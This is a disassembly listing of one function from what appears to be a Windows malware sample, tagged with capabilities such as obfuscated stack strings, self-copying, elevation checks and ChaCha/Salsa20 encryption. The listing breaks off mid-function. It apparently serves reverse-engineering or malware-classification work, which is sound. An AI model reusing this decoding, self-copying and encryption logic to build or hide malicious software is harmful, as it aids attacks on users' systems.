Function at 0x41a8d0
Capabilities:
Contain obfuscated stackstrings
Copy file
Encrypt data using salsa20 or chacha
Parse pe header
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xa58
mov eax, dword [0x465040]
xor eax, esp
mov dword [esp + 0xa54], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x60], 0
push esi
mov dword [esp + 0x68], eax
push edi
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0x7173f5
call fcn.00403a00
test eax, eax
je 0x41d0a1
mov dword [esp + 0x1c], 0x7173f5
call fcn.004011a0
mov dword [esp + 0x1c], 0x7173f5
call fcn.00429e60
test eax, eax
jne 0x41d0a1
push 0x55
push 0x8a0ae76f
lea edx, [eax + 0xf]
call fcn.00404980
add esp, 8
call eax
mov ecx, eax
call fcn.00418e70
cmp byte [0x468dc7], 0
je 0x41aa59
mov al, byte [0x468ec8]
lea ecx, [esp + 0xd0]
push 0x466b68
mov byte [esp + 0x1a], al
call fcn.004188e0
mov al, byte [esp + 0x16]
cmp dword [esp + 0xe4], 7
push 0
push SysReAllocString
push 4
push 0
mov byte [0x46883d], al
lea eax, [esp + 0xe0]
cmova eax, dword [esp + 0xe0]
push 1
push 0x40000000
push eax
mov byte [0x46883e], 1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
push 0
push eax
mov dword [0x466b1c], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0xe4]
cmp ecx, 7
jbe 0x41aa11
mov edx, dword [esp + 0xd0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41aa07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0bc
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 7
mov word [esp + 0xd0], ax
cmp byte [0x468ec9], al
je 0x41aa59
push dword [0x46887c]
push dword [0x468878]
push dword [0x468874]
push dword [0x468870]
call fcn.00423a90
add esp, 0x10
call fcn.00424170
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call edi
mov edx, eax
lea ecx, [esp + 0x78]
call fcn.0042c9d0
cmp dword [eax + 0x14], 7
jbe 0x41aa79
mov eax, dword [eax]
push eax
push str.Running_under:__s
call fcn.00424150
mov ecx, dword [esp + 0x94]
add esp, 8
cmp ecx, 7
jbe 0x41aac6
mov edx, dword [esp + 0x78]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41aabc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0c1
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [esp + 0x88], 0
mov word [esp + 0x78], ax
xor esi, esi
mov dword [esp + 0x64], eax
lea eax, [esp + 0x64]
push eax
push 8
mov dword [esp + 0x94], 7
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x41ab34
lea eax, [esp + 0x10c]
mov dword [esp + 0x10c], 4
push eax
push 4
lea eax, [esp + 0xd4]
push eax
push 0x14
push dword [esp + 0x74]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [esp + 0xcc]
mov eax, dword [esp + 0x64]
test eax, eax
je 0x41ab43
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push str.Process_is_elevated:__d
call fcn.00424150
add esp, 8
lea eax, [esp + 0x64]
xor esi, esi
mov dword [esp + 0x64], esi
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x41aba2
lea eax, [esp + 0x10c]
mov dword [esp + 0x10c], 4
push eax
push 4
lea eax, [esp + 0xd4]
push eax
push 0x14
push dword [esp + 0x74]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [esp + 0xcc]
mov eax, dword [esp + 0x64]
test eax, eax
je 0x41abb1
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x41abdf
call edi
mov ecx, eax
call fcn.0042d830
test eax, eax
jne 0x41abdf
call fcn.0042dac0
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0xa54]
xor ecx, esp
call fcn.00437671
mov esp, ebp
pop ebp
ret 0x10
cmp byte [0x468dc6], 0
mov esi, 0x7f
je 0x41ad74
mov byte [esp + 0x78], 0
mov byte [esp + 0x79], 0x7d
mov byte [esp + 0x7a], 0x42
mov byte [esp + 0x7b], 0x41
mov byte [esp + 0x7c], 0x42
mov byte [esp + 0x7d], 0x4d
mov byte [esp + 0x7e], 0x42
mov byte [esp + 0x7f], 0x4d
mov byte [esp + 0x80], 0x42
mov byte [esp + 0x81], 0xd
mov byte [esp + 0x82], 0x42
mov byte [esp + 0x83], 0x4d
mov byte [esp + 0x84], 0x42
mov byte [esp + 0x85], 0x59
mov byte [esp + 0x86], 0x42
mov byte [esp + 0x87], 0x78
mov byte [esp + 0x88], 0x42
mov byte [esp + 0x89], 0x67
mov byte [esp + 0x8a], 0x42
mov byte [esp + 0x8b], 0xd
mov byte [esp + 0x8c], 0x42
mov byte [esp + 0x8d], 0x73
mov byte [esp + 0x8e], 0x42
mov byte [esp + 0x8f], 0x26
mov byte [esp + 0x90], 0x42
mov byte [esp + 0x91], 0x78
mov byte [esp + 0x92], 0x42
mov byte [esp + 0x93], 0xe
mov byte [esp + 0x94], 0x42
mov byte [esp + 0x95], 0x28
mov byte [esp + 0x96], 0x42
mov byte [esp + 0x97], 0x4d
mov byte [esp + 0x98], 0x42
mov byte [esp + 0x99], 0x72
mov byte [esp + 0x9a], 0x42
mov byte [esp + 0x9b], 0x60
mov byte [esp + 0x9c], 0x42
mov byte [esp + 0x9d], 0x60
mov byte [esp + 0x9e], 0x42
mov byte [esp + 0x9f], 0x60
mov byte [esp + 0xa0], 0x42
mov byte [esp + 0xa1], 0x42
mov byte [esp + 0xa2], 0x42
mov al, byte [esp + 0x79]
mov al, byte [esp + 0x78]
test al, al
jne 0x41ad62
xor ecx, ecx
nop
mov al, byte [esp + ecx + 0x79]
movzx eax, al
sub eax, 0x42
lea eax, [eax + eax*4]
add eax, eax
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [esp + ecx + 0x79], dl
inc ecx
cmp ecx, 0x2a
jb 0x41ad40
lea eax, [esp + 0x79]
push eax
call fcn.00424150
add esp, 4
call fcn.00423930
push 0x400
lea eax, [esp + 0x25c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [esp + 0x78], 0
mov byte [esp + 0x79], 0x5a
mov byte [esp + 0x7a], 0x2f
mov byte [esp + 0x7b], 0x21
mov byte [esp + 0x7c], 0x2f
mov byte [esp + 0x7d], 0x69
mov byte [esp + 0x7e], 0x2f
mov byte [esp + 0x7f], 0x69
mov byte [esp + 0x80], 0x2f
mov byte [esp + 0x81], 0x24
mov byte [esp + 0x82], 0x2f
mov byte [esp + 0x83], 0x4a
mov byte [esp + 0x84], 0x2f
mov byte [esp + 0x85], 0x39
mov byte [esp + 0x86], 0x2f
mov byte [esp + 0x87], 0x29
mov byte [esp + 0x88], 0x2f
mov byte [esp + 0x89], 0x24
mov byte [esp + 0x8a], 0x2f
mov byte [esp + 0x8b], 0x58
mov byte [esp + 0x8c], 0x2f
mov byte [esp + 0x8d], 0x24
mov byte [esp + 0x8e], 0x2f
mov byte [esp + 0x8f], 0x54
mov byte [esp + 0x90], 0x2f
mov byte [esp + 0x91], 0x21
mov byte [esp + 0x92], 0x2f
mov byte [esp + 0x93], 0x39
mov byte [esp + 0x94], 0x2f
mov byte [esp + 0x95], 5
mov byte [esp + 0x96], 0x2f
mov byte [esp + 0x97], 0x6c
mov byte [esp + 0x98], 0x2f
mov byte [esp + 0x99], 0x7a
mov byte [esp + 0x9a], 0x2f
mov byte [esp + 0x9b], 0x24
mov byte [esp + 0x9c], 0x2f
mov byte [esp + 0x9d], 0x29
mov byte [esp + 0x9e], 0x2f
mov byte [esp + 0x9f], 0x1a
mov byte [esp + 0xa0], 0x2f
mov byte [esp + 0xa1], 5
mov byte [esp + 0xa2], 0x2f
mov byte [esp + 0xa3], 0x39
mov byte [esp + 0xa4], 0x2f
mov byte [esp + 0xa5], 0x5b
mov byte [esp + 0xa6], 0x2f
mov byte [esp + 0xa7], 0x34
mov byte [esp + 0xa8], 0x2f
mov byte [esp + 0xa9], 0x29
mov byte [esp + 0xaa], 0x2f
mov byte [esp + 0xab], 0x30
mov byte [esp + 0xac], 0x2f
mov byte [esp + 0xad], 0x51
mov byte [esp + 0xae], 0x2f
mov byte [esp + 0xaf], 0x2f
mov byte [esp + 0xb0], 0x2f
mov al, byte [esp + 0x79]
mov al, byte [esp + 0x78]
test al, al
jne 0x41af70
xor ecx, ecx
nop word [eax + eax]
mov al, byte [esp + ecx + 0x79]
movzx eax, al
sub eax, 0x2f
imul eax, eax, 0x25
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [esp + ecx + 0x79], dl
inc ecx
cmp ecx, 0x38
jb 0x41af50
lea eax, [esp + 0x258]
push eax
lea eax, [esp + 0x7d]
push eax
call fcn.00424150
add esp, 8
cmp byte [0x468fe4], 0
je 0x41afef
mov edx, 0x468fe5
lea ecx, [esp + 0x48]
call fcn.00429ad0
mov edi, dword [esp + 0x5c]
lea eax, [esp + 0x48]
mov esi, dword [esp + 0x48]
lea ecx, [esp + 0x258]
cmp edi, 7
cmova eax, esi
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x41afdb
test dx, dx
je 0x41afd7
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x41afdb
add ecx, 4
add eax, 4
test dx, dx
jne 0x41afb5
xor eax, eax
jmp 0x41afe0
sbb eax, eax
or eax, 1
mov ecx, 1
test eax, eax
je 0x41affb
mov byte [esp + 0x16], cl
jmp 0x41b000
mov edi, dword [esp + 0x5c]
mov esi, dword [esp + 0x48]
mov ecx, dword [esp + 0x18]
mov byte [esp + 0x16], 0
test cl, 1
je 0x41b050
cmp edi, 7
jbe 0x41b039
lea ecx, [edi*2 + 2]
mov eax, esi
cmp ecx, 0x1000
jb 0x41b02f
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0c6
push ecx
push esi
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [esp + 0x58], 0
mov dword [esp + 0x5c], 7
mov word [esp + 0x48], ax
cmp byte [esp + 0x16], 0
je 0x41b626
mov byte [esp + 0x78], 0
mov edi, 0x7f
mov byte [esp + 0x79], 0x34
mov byte [esp + 0x7a], 0xe
mov byte [esp + 0x7b], 0x3a
mov byte [esp + 0x7c], 0xe
mov byte [esp + 0x7d], 0x57
mov byte [esp + 0x7e], 0xe
mov byte [esp + 0x7f], 0x5e
mov byte [esp + 0x80], 0xe
mov byte [esp + 0x81], 0xb
mov byte [esp + 0x82], 0xe
mov byte [esp + 0x83], 0x1d
mov byte [esp + 0x84], 0xe
mov byte [esp + 0x85], 0x50
mov byte [esp + 0x86], 0xe
mov byte [esp + 0x87], 0x35
mov byte [esp + 0x88], 0xe
mov byte [esp + 0x89], 0x16
mov byte [esp + 0x8a], 0xe
mov byte [esp + 0x8b], 0x41
mov byte [esp + 0x8c], 0xe
mov byte [esp + 0x8d], 0x16
mov byte [esp + 0x8e], 0xe
mov byte [esp + 0x8f], 0x5b
mov byte [esp + 0x90], 0xe
mov byte [esp + 0x91], 0x69
mov byte [esp + 0x92], 0xe
mov byte [esp + 0x93], 0x4c
mov byte [esp + 0x94], 0xe
mov byte [esp + 0x95], 0x21
mov byte [esp + 0x96], 0xe
mov byte [esp + 0x97], 0x3e
mov byte [esp + 0x98], 0xe
mov byte [esp + 0x99], 0x62
mov byte [esp + 0x9a], 0xe
mov byte [esp + 0x9b], 0x16
mov byte [esp + 0x9c], 0xe
mov byte [esp + 0x9d], 0x35
mov byte [esp + 0x9e], 0xe
mov byte [esp + 0x9f], 0x4c
mov byte [esp + 0xa0], 0xe
mov byte [esp + 0xa1], 0x3a
mov byte [esp + 0xa2], 0xe
mov byte [esp + 0xa3], 0x35
mov byte [esp + 0xa4], 0xe
mov byte [esp + 0xa5], 0x78
mov byte [esp + 0xa6], 0xe
mov byte [esp + 0xa7], 0x16
mov byte [esp + 0xa8], 0xe
mov byte [esp + 0xa9], 0x2f
mov byte [esp + 0xaa], 0xe
mov byte [esp + 0xab], 0x4c
mov byte [esp + 0xac], 0xe
mov byte [esp + 0xad], 0xb
mov byte [esp + 0xae], 0xe
mov byte [esp + 0xaf], 0x1d
mov byte [esp + 0xb0], 0xe
mov byte [esp + 0xb1], 0x21
mov byte [esp + 0xb2], 0xe
mov byte [esp + 0xb3], 0x4c
mov byte [esp + 0xb4], 0xe
mov byte [esp + 0xb5], 0xb
mov byte [esp + 0xb6], 0xe
mov byte [esp + 0xb7], 0x3a
mov byte [esp + 0xb8], 0xe
mov byte [esp + 0xb9], 0x1d
mov byte [esp + 0xba], 0xe
mov byte [esp + 0xbb], 0x4e
mov byte [esp + 0xbc], 0xe
mov byte [esp + 0xbd], 0x4e
mov byte [esp + 0xbe], 0xe
mov byte [esp + 0xbf], 0x4e
mov byte [esp + 0xc0], 0xe
mov byte [esp + 0xc1], 0xe
mov byte [esp + 0xc2], 0xe
mov al, byte [esp + 0x79]
mov al, byte [esp + 0x78]
test al, al
jne 0x41b2d4
xor esi, esi
nop
mov al, byte [esp + esi + 0x79]
mov ecx, 0xe
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x23
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [esp + esi + 0x79], dl
inc esi
cmp esi, 0x4a
jb 0x41b2b0
lea eax, [esp + 0x79]
push eax
call fcn.00424150
add esp, 4
lea ecx, [esp + 0xd0]
mov edx, 0x468fe5
call fcn.00429ad0
cmp dword [esp + 0xe4], 7
lea eax, [esp + 0xd0]
push 0
cmova eax, dword [esp + 0xd4]
push eax
lea eax, [esp + 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [esp + 0xe4]
cmp ecx, 7
jbe 0x41b35c
mov edx, dword [esp + 0xd0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41b352
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0cb
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [esp + 0xe0], 0
mov word [esp + 0xd0], ax
lea ecx, [esp + 0x78]
mov al, byte [0x4692e6]
mov edx, 0x468fe5
mov byte [esp + 0x16], al
mov al, byte [0x4692e5]
mov dword [esp + 0xe4], 7
mov byte [esp + 0x17], al
call fcn.00429ad0
cmp dword [esp + 0x8c], 7
lea esi, [esp + 0x78]
mov edx, 0x4690e5
lea ecx, [esp + 0xd0]
cmova esi, dword [esp + 0x78]
call fcn.00429ad0
movzx eax, byte [esp + 0x16]
lea ecx, [esp + 0xd0]
cmp dword [esp + 0xe4], 7
mov edx, esi
push 0x461aac
cmova ecx, dword [esp + 0xd4]
push eax
movzx eax, byte [esp + 0x1f]
push eax
call fcn.0042f640
mov ecx, dword [esp + 0xf0]
add esp, 0xc
mov esi, eax
cmp ecx, 7
jbe 0x41b434
mov edx, dword [esp + 0xd0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41b42a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0d0
push ecx
push edx
call fcn.004378af
add esp, 8
mov ecx, dword [esp + 0x8c]
xor eax, eax
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 7
mov word [esp + 0xd0], ax
cmp ecx, 7
jbe 0x41b493
mov edx, dword [esp + 0x78]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41b489
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0d0
push ecx
push edx
call fcn.004378af
add esp, 8
mov dword [esp + 0x88], 0
xor eax, eax
mov word [esp + 0x78], ax
mov dword [esp + 0x8c], 7
mov byte [esp + 0x78], al
mov byte [esp + 0x79], 0x30
mov byte [esp + 0x7a], 9
mov byte [esp + 0x7b], 0x71
mov byte [esp + 0x7c], 9
mov byte [esp + 0x7d], 0x4c
mov byte [esp + 0x7e], 9
mov byte [esp + 0x7f], 0x24
mov byte [esp + 0x80], 9
mov byte [esp + 0x81], 0x2a
mov byte [esp + 0x82], 9
mov byte [esp + 0x83], 0x4c
mov byte [esp + 0x84], 9
mov byte [esp + 0x85], 0x7b
mov byte [esp + 0x86], 9
mov byte [esp + 0x87], 0x15
mov byte [esp + 0x88], 9
mov byte [esp + 0x89], 6
mov byte [esp + 0x8a], 9
mov byte [esp + 0x8b], 1
mov byte [esp + 0x8c], 9
mov byte [esp + 0x8d], 0x56
mov byte [esp + 0x8e], 9
mov byte [esp + 0x8f], 0x29
mov byte [esp + 0x90], 9
mov byte [esp + 0x91], 6
mov byte [esp + 0x92], 9
mov byte [esp + 0x93], 1
mov byte [esp + 0x94], 9
mov byte [esp + 0x95], 0x2d
mov byte [esp + 0x96], 9
mov byte [esp + 0x97], 0x2a
mov byte [esp + 0x98], 9
mov byte [esp + 0x99], 0x43
mov byte [esp + 0x9a], 9
mov byte [esp + 0x9b], 1
mov byte [esp + 0x9c], 9
mov byte [esp + 0x9d], 9
mov byte [esp + 0x9e], 9
mov al, byte [esp + 0x79]
mov al, byte [esp + 0x78]
test al, al
jne 0x41b600
xor ecx, ecx
nop dword [eax]
mov al, byte [esp + ecx + 0x79]
movzx eax, al
sub eax, 9
imul eax, eax, 0x33
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [esp + ecx + 0x79], dl
inc ecx
cmp ecx, 0x26
jb 0x41b5e0
lea eax, [esp + 0x79]
push esi
push eax
call fcn.00424150
add esp, 8
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0xa54]
xor ecx, esp
call fcn.00437671
mov esp, ebp
pop ebp
ret 0x10
xorps xmm0, xmm0
mov dword [esp + 0x30], 0
lea ecx, [esp + 0x258]
movaps xmmword [esp + 0x20], xmm0
mov dword [esp + 0x34], 0
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41b650
sub ecx, edx
lea eax, [esp + 0x258]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.00415e90
cmp dword [esp + 0x34], 7
lea edi, [esp + 0x20]
mov esi, dword [esp + 0x30]
cmova edi, dword [esp + 0x20]
test esi, esi
je 0x41b73c
push 0x100
lea eax, [esp + 0x15c]
push 0
push eax
call fcn.00439310
add esp, 0xc
mov ecx, 0x4619ac
mov edx, 0x100
nop dword [eax]
movzx eax, word [ecx]
cmp ax, dx
jae 0x41b6fb
movzx eax, al
add ecx, 2
mov byte [esp + eax + 0x158], 1
cmp ecx, 0x4619b0
jne 0x41b6b0
lea eax, [esi - 1]
or ecx, 0xffffffff
cmp eax, ecx
cmovb ecx, eax
lea esi, [edi + ecx*2]
nop dword [eax]
movzx eax, word [esi]
cmp ax, dx
jae 0x41b6f2
cmp byte [esp + eax + 0x158], 0
jne 0x41b736
cmp esi, edi
je 0x41b73c
sub esi, 2
jmp 0x41b6e0
lea eax, [esi - 1]
or ecx, 0xffffffff
cmp eax, ecx
cmovb ecx, eax
lea esi, [edi + ecx*2]
nop dword [eax]
movzx edx, word [esi]
mov ecx, 2
mov eax, 0x4619ac
nop dword [eax]
cmp word [eax], dx
je 0x41b736
add eax, 2
sub ecx, 1
jne 0x41b720
cmp esi, edi
je 0x41b73c
sub esi, 2
jmp 0x41b710
sub esi, edi
sar esi, 1
jmp 0x41b73f
or esi, 0xffffffff
mov eax, dword [esp + 0x34]
cmp eax, 7
jbe 0x41b77b
mov edx, dword [esp + 0x20]
lea ecx, [eax*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41b771
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0d5
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [esp + 0x30], 0
xorps xmm0, xmm0
mov dword [esp + 0x34], 7
lea ecx, [esp + 0x258]
mov word [esp + 0x20], ax
movaps xmmword [esp + 0xd0], xmm0
lea edx, [ecx + 2]
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe4], eax
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x41b7b5
sub ecx, edx
lea eax, [esp + 0x258]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0xd8]
call fcn.00415e90
cmp dword [esp + 0xe0], esi
lea eax, [esp + 0xd0]
xorps xmm0, xmm0
mov dword [esp + 0x120], 0
cmovb esi, dword [esp + 0xe0]
lea ecx, [esp + 0x110]
cmp dword [esp + 0xe4], 7
push esi
cmova eax, dword [esp + 0xd4]
push eax
movaps xmmword [esp + 0x118], xmm0
mov dword [esp + 0x12c], 0
call fcn.00415e90
mov ecx, dword [esp + 0xe4]
cmp ecx, 7
jbe 0x41b870
mov edx, dword [esp + 0xd0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41b866
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0da
push ecx
push edx
call fcn.004378af
add esp, 8
push 1
xor eax, eax
mov dword [esp + 0xe4], 0
push 0x461a40
lea ecx, [esp + 0x118]
mov dword [esp + 0xec], 7
mov word [esp + 0xd8], ax
call fcn.00418b80
lea ecx, [esp + 0x78]
call fcn.0042a8f0
mov ecx, eax
cmp dword [eax + 0x14], 7
jbe 0x41b8b6
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [esp + 0x118]
call fcn.00418b80
mov ecx, dword [esp + 0x8c]
cmp ecx, 7
jbe 0x41b905
mov edx, dword [esp + 0x78]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41b8fb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d0df
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [esp + 0x88], 0
mov dword [esp + 0x8c], 7
mov word [esp + 0x78], ax
cmp byte [0x4692e7], al
je 0x41c17f
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [esp + 0x64]
push eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea eax, [esp + 0x60]
xor esi, esi
push eax
push 8
mov dword [esp + 0x68], esi
call edi
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x41b98f
lea eax, [esp + 0x10c]
mov dword [esp + 0x10c], 4
push eax
push 4
lea eax, [esp + 0xd4]
push eax
push 0x14
push dword [esp + 0x70]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [esp + 0xcc]
mov eax, dword [esp + 0x60]
test eax, eax
je 0x41b99e
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x41bfc7
cmp byte [0x4692e8], 0
je 0x41bfc7
cmp dword [esp + 0x64], 0
mov eax, dword [0x4692ec]
cmovne eax, dword [0x4692f4]
test eax, eax
je 0x41bfc7
call fcn.00420990
cmp dword [esp + 0x64], 0
mov esi, dword [0x4692ec]
cmovne esi, dword [0x4692f4]
push esi
mov dword [esp + 0x1c], esi
call fcn.0043c243
add esp, 4
mov dword [esp + 0xcc], eax
lea eax, [esp + 0x258]
push 0x461a48
push eax
lea eax, [esp + 0x68]
push eax
call fcn.00440099
xor edi, edi
add esp, 0xc
cmp dword [esp + 0x64], edi
cmovne edi, dword [0x4692ec]
add edi, dword [0x468880]
mov byte [esp + 0x78], 0
mov byte [esp + 0x79], 0x7c
mov byte [esp + 0x7a], 0x4a
mov byte [esp + 0x7b], 0x75
mov byte [esp + 0x7c], 0x4a
mov byte [esp + 0x7d], 0x41
mov byte [esp + 0x7e], 0x4a
mov byte [esp + 0x7f], 0x68
mov byte [esp + 0x80], 0x4a
mov byte [esp + 0x81], 0x2a
mov byte [esp + 0x82], 0x4a
mov byte [esp + 0x83], 0x6b
mov byte [esp + 0x84], 0x4a
mov byte [esp + 0x85], 0x10
mov byte [esp + 0x86], 0x4a
mov byte [esp + 0x87], 0x6d
mov byte [esp + 0x88], 0x4a
mov byte [esp + 0x89], 0x68
mov byte [esp + 0x8a], 0x4a
mov byte [esp + 0x8b], 0x20
mov byte [esp + 0x8c], 0x4a
mov byte [esp + 0x8d], 0x2a
mov byte [esp + 0x8e], 0x4a
mov byte [esp + 0x8f], 0x54
mov byte [esp + 0x90], 0x4a
mov byte [esp + 0x91], 0x75
mov byte [esp + 0x92], 0x4a
mov byte [esp + 0x93], 0x20
mov byte [esp + 0x94], 0x4a
mov byte [esp + 0x95], 0x6d
mov byte [esp + 0x96], 0x4a
mov byte [esp + 0x97], 0x11
mov byte [esp + 0x98], 0x4a
mov byte [esp + 0x99], 0x6d
mov byte [esp + 0x9a], 0x4a
mov byte [esp + 0x9b], 0x2f
mov byte [esp + 0x9c], 0x4a
mov byte [esp + 0x9d], 0x68
mov byte [esp + 0x9e], 0x4a
mov byte [esp + 0x9f], 0x6d
mov byte [esp + 0xa0], 0x4a
mov byte [esp + 0xa1], 0x2d
mov byte [esp + 0xa2], 0x4a
mov byte [esp + 0xa3], 0x2a
mov byte [esp + 0xa4], 0x4a
mov byte [esp + 0xa5], 9
mov byte [esp + 0xa6], 0x4a
mov byte [esp + 0xa7], 0x75
mov byte [esp + 0xa8], 0x4a
mov byte [esp + 0xa9], 0x6d
mov byte [esp + 0xaa], 0x4a
mov byte [esp + 0xab], 0x2f
mov byte [esp + 0xac], 0x4a
mov byte [esp + 0xad], 0x68
mov byte [esp + 0xae], 0x4a
mov byte [esp + 0xaf], 0x4a
mov byte [esp + 0xb0], 0x4a
mov al, byte [esp + 0x79]
mov al, byte [esp + 0x78]
mov dword [esp + 0x1c], edi
test al, al
jne 0x41bc1c
xor esi, esi
lea edi, [esi + 0x7f]
nop dword [eax]
mov al, byte [esp + esi + 0x79]
mov ecx, 0x4a
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x27
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [esp + esi + 0x79], dl
inc esi
cmp esi, 0x38
jb 0x41bbf0
mov edi, dword [esp + 0x1c]
mov esi, dword [esp + 0x18]
push esi
lea eax, [esp + 0x7d]
push edi
push eax
call fcn.00424130
add esp, 0xc
push 0
push edi
push dword [esp + 0x68]
call fcn.0044051e
add esp, 0xc
push dword [esp + 0x60]
push esi
mov esi, dword [esp + 0xd4]
push 1
push esi
call fcn.00440a30
push dword [esp + 0x70]
call fcn.00440205
add esp, 0x14
lea eax, [esp + 0x110]
cmp dword [esp + 0x124], 7
cmova eax, dword [esp + 0x110]
push 0x461a50
push eax
lea eax, [esp + 0x114]
push eax
call fcn.00440099
mov eax, dword [0x4692fc]
lea ecx, [esp + 0x84]
mov edi, dword [0x4692f0]
add esp, 0xc
cmp dword [esp + 0x64], 0
mov esi, dword [esp + 0x10c]
cmovne edi, dword [0x4692f8]
push dword [esp + 0x18]
mov dword [esp + 0x8c], eax
mov eax, dword [0x469300]
mov dword [esp + 0x90], eax
mov eax, dword [0x469304]
mov dword [esp + 0x94], eax
mov eax, dword [0x469308]
mov dword [esp + 0x98], eax
mov eax, dword [0x46930c]
mov dword [esp + 0x9c], eax
mov eax, dword [0x469310]
mov dword [esp + 0xa0], eax
mov eax, dword [0x469314]
mov dword [esp + 0xa4], eax
mov eax, dword [0x469318]
mov dword [esp + 0xa8], eax
mov eax, dword [0x46931c]
mov dword [esp + 0xb4], eax
mov eax, dword [0x469320]
mov dword [esp + 0xb8], eax
mov eax, dword [esp + 0xd0]
mov edx, eax
push eax
mov dword [esp + 0x80], 0x61707865
mov dword [esp + 0x84], 0x3320646e
mov dword [esp + 0x88], 0x79622d32
mov dword [esp + 0x8c], 0x6b206574
mov dword [esp + 0xb0], 0
mov dword [esp + 0xb4], 0
call fcn.00428af0
mov edx, dword [esp + 0x20]
push edi
push esi
mov esi, dword [esp + 0xdc]
mov ecx, esi
call fcn.00419690
push dword [esp + 0x11c]
call fcn.00440205
add esp, 0x14
push esi
call fcn.0043c5bb
add esp, 4
call fcn.0041f4f0
lea ecx, [esp + 0x78]
mov byte [esp + 0x17], al
call fcn.0042a8f0
mov edi, eax
mov dword [esp + 0xcc], eax
cmp dword [edi + 0x14], 7
jbe 0x41bdca
mov edi, dword [edi]
mov dword [esp + 0xcc], edi
mov byte [esp + 0xd0], 0
mov byte [esp + 0xd1], 0x6d
mov byte [esp + 0xd2], 0x7d
mov byte [esp + 0xd3], 0x10
mov byte [esp + 0xd4], 0x7d
mov byte [esp + 0xd5], 0x30
mov byte [esp + 0xd6], 0x7d
mov byte [esp + 0xd7], 0x1e
